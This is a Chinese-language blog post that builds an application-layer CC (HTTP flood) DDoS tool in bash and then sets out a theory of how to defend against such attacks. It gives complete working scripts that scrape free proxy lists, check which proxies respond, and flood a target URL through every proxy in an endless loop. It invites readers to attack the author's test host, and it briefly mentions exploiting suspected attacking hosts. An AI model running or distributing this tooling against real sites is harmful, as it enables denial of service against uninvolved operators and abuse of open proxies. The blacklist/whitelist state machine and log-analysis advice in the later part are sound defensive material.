DDoS攻防战（二）：CC攻击工具实现与防御理论--删除

我们将要实现一个进行应用层DDoS攻击的工具，综合考虑，CC攻击方式是最佳选择，并用bash shell脚本来快速实现并验证这一工具，并在最后，讨论如何防御来自应用层的DDoS攻击。

第一步：获取大量可用代理ip:port列表

网上所处可见免费代理，我们使用http的GET方法抓取html文档，接着使用正则过滤出我们需要的ip port对，然后逐一验证各代理的可用性，最终得到可用的代理ip port对。

grab_proxy.sh
#!/bin/bash
 
#get proxy list
declare proxyListFile="proxy.txt"
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
 
function quit() {
    rm -f $tmpFile
    exit "$1"
}
 
echo "get proxy list... please wait..."
 
if [ -r "$proxyListFile" ]
then
  rm -f $proxyListFile
fi
 
touch $proxyListFile
 
for url in  " http://www.youdaili.cn/Daili/guonei/2215.html " 
            " http://www.youdaili.cn/Daili/guonei/2215_2.html" 
            " http://www.youdaili.cn/Daili/guonei/2215_3.html" 
            " http://www.youdaili.cn/Daili/guonei/2215_4.html "
do
    if GET "$url" > $tmpFile
    then
        grep -oE '^.*.*$' "$tmpFile" | grep -Eo "([0-9]+)(.[0-9]+){3}:([0-9]+)" 
        | sort -n | uniq | awk -F: '{ printf("%-15s  %s 
",$1,$2); }' >> $proxyListFile
    else
        exec 1>&2
        echo "error: get proxy list fail! chech the url:$url or the network"
        quit 1
    fi
done
 
echo "done. total `cat $proxyListFile | wc -l` proxy"
 
quit 0
#exit

参数：

declare proxyListFile=”proxy.txt” #抓取到的代理ip port对所存放的文件路径

check_proxy.sh
#!/bin/bash
 
#get proxy list
declare check_threads=10
declare line
declare times
declare ip
declare port
declare i
declare j
declare mod
 
function quit() {
    exit "$1"
}
 
#echo "start check proxy's functionality..."
 
#retarget the input file to stdin
if [ "$#" -gt "0" ]
then
    exec 0<$1
else
    exec 1>&2
    echo "usage: bash $0 proxyListFile.txt"
    echo "error: must have one input arg"
    quit 1
fi
 
#check proxy's functionality
times=0
while read line
do
    times=$((times+1))
    j=0
    for i in `echo $line | tr ' ' '
' | grep -E '^[^s].*$'`
    do
        j=$((j+1))
        if [ "$j" -eq 1 ]
        then
            ip=$i
        else
            port=$i
        fi
    done
    #echo "times=$times ip=$ip port=$port"
    # start test
    if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null
    then 
        echo "$ip $port"
        echo ":) ip=$ip port=$port " &>/dev/null
    else
        echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2
    fi &
    mod=$((times%check_threads))
    if [ "$mod" -eq "0" ]
    then
        wait
    fi
done
 
#close the fd of input file
exec 0>&-
quit 0
#exit

参数：

declare check_threads=10 #验证代理可用性时的并发数，看一下代码就会发现，我们使用的是GET http://baidu.com方法，所以，并发数请不要也太高 :) 除非你的目标就是……

总结：应征入伍的士兵共计600人，经过考核的共计449人，如果你还想招募更多的士兵，奉劝一句，苦海无边，回头是岸。
第二步：吹响战争号角

笔者在一台VPS上建立了一个薄弱的靶机，各位读者请不要太暴力，测试一下就可以了，地址 http://eecs.cc:8080/

笔者把这么重要的信息都放出来了，读者请点个赞吧 :)

cc.sh
#!/bin/bash
 
declare target_url="http://eecs.cc:8080/"
declare get_timeout_sec=5
declare line
declare times
declare ip
declare port
declare i
declare j
 
function quit() {
    exit "$1"
}
 
#retarget the input file to stdin
if ! [ "$#" -gt "0" ]
then
    exec 1>&2
    echo "challenge collapsar attack -- cc attack"
    echo "usage: bash $0 proxyListFile.txt"
    echo "error: must have one input arg"
    quit 1
fi
 
echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
echo "command: target: $target_url"
echo "command: start challenge collapsar attack   :)   amazing..."
 
exec 0<$1
#start challenge collapsar attack
 
while true
do
    times=0
    exec 0<&-
    exec 0<$1
    while read line
    do
        times=$((times+1))
        j=0
        for i in `echo $line | tr ' ' '
' | grep -E '^[^s].*$'`
        do
            j=$((j+1))
            if [ "$j" -eq 1 ]
            then
                ip=$i
            else
                port=$i
            fi
        done
        echo "times=$times ip=$ip port=$port"
        #single soldier attack
        if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 
        then 
            echo "soldier$times attack $target_url :)"
        else
            echo "soldier$times attack $target_url miss"
        fi &
    done
    wait
done
 
#close the fd of input file
exec 0>&-
quit 0
#exit

读者可自行尝试攻击这个站点，然后使用浏览器访问查看服务器网络状况，此时大量连接处于TIME_WAIT状态，参考TCP状态机，这一状态为主动关闭一方的最终等待状态。

请不要恶意攻击别人的网站如果因此被关了进去没有人能把你弄出来

应用层DDoS的防御理论：

问题模型描述：

每一个页面，都有其资源消耗权重，静态资源，权重较低，动态资源，权重较高。对于用户访问，有如下：

用户资源使用频率=使用的服务器总资源量/s

命题一：对于正常访问的用户，资源使用频率必定位于一个合理的范围，当然会存在大量正常用户共享ip的情况，这就需要日常用户访问统计，以得到忠实用户ip白名单。

命题二：资源使用频率持续异常的，可断定为访问异常的用户。

防御体系状态机：

1.在系统各项资源非常宽裕时，向所有ip提供服务，每隔一段时间释放一部分临时黑名单中的ip成员；

2.在系统资源消耗达到某一阈值时，降低Syn包接受速率，循环：分析最近时间的日志，并将访问异常的ip加入临时黑名单；

3.若系统资源消耗慢慢回降至正常水平，则恢复Syn包接受速率，转到状态1；若目前策略并未有效地控制住系统资源消耗的增长，情况继续恶劣至一极限阈值，转到状态4；

4.最终防御方案，使用忠实用户ip白名单、异常访问ip黑名单策略，其他访问可慢慢放入，直到系统资源消耗回降至正常水平，转到状态1。

上述的防御状态机，对于单个攻击IP高并发的DDOS，变化到状态3时，效果就完全体现出来了，但如果防御状态机进行到4状态，则有如下两种可能：

1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击；

2.站点突然间有了很多访问正常的新用户。

建议后续工作：

保守：站点应尽快进行服务能力升级。

积极：尽所能，追溯攻击者。

追溯攻击者：
CC：proxy-forward-from-ip
单个IP高并发的DDOS：找到访问异常的、高度可疑的ip列表，exploit，搜集、分析数据，因为一个傀儡主机可被二次攻占的概率很大（但不建议这种方法）
单个IP低并发的DDOS：以前极少访问被攻击站点，但是在攻击发生时，却频繁访问我们的站点，分析日志得到这一部分ip列表

追溯攻击者的过程中，snat与web proxy增加了追踪的难度，如果攻击者采用多个中继服务器的方法，追溯将变得极为困难。

防御者：

1.应对当前系统了如指掌，如系统最高负载、最高数据处理能力，以及系统防御体系的强项与弱点
2.历史日志的保存、分析
3.对当前系统进行严格安全审计
4.上报公安相关部分，努力追溯攻击者
5.网站，能静态，就一定不要动态，可采取定时从主数据库生成静态页面的方式，对需要访问主数据库的服务使用验证机制。
6.防御者应能从全局的角度，迅速及时地发现系统正在处于什么程度的攻击、何种攻击，在平时，应该建立起攻击应急策略，规范化操作，免得在急中犯下低级错误

对历史日志的分析这时将会非常重要，数据可视化与统计学的方法将会很有益处：

1.分析每个页面的平均访问频率

2.对访问频率异常的页面进行详细分析分析得到ip-页面访问频率

3.得到对访问异常页面的访问异常ip列表

4.对日志分析得到忠实用户IP白名单

5.一般一个页面会关联多个资源，一次对于这样的页面访问往往会同时增加多个资源的访问数，而攻击程序一般不会加载这些它不感兴趣的资源，所以，这也是一个非常好的分析突破点

本文主要讲述了DDoS攻击之一的CC攻击工具实现，以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章，笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块，以对应于上述防御状态机中的防火墙单元，它实现了自主地动态内存管理，使用hash表管理ip列表，并可以自定义hash表的modular。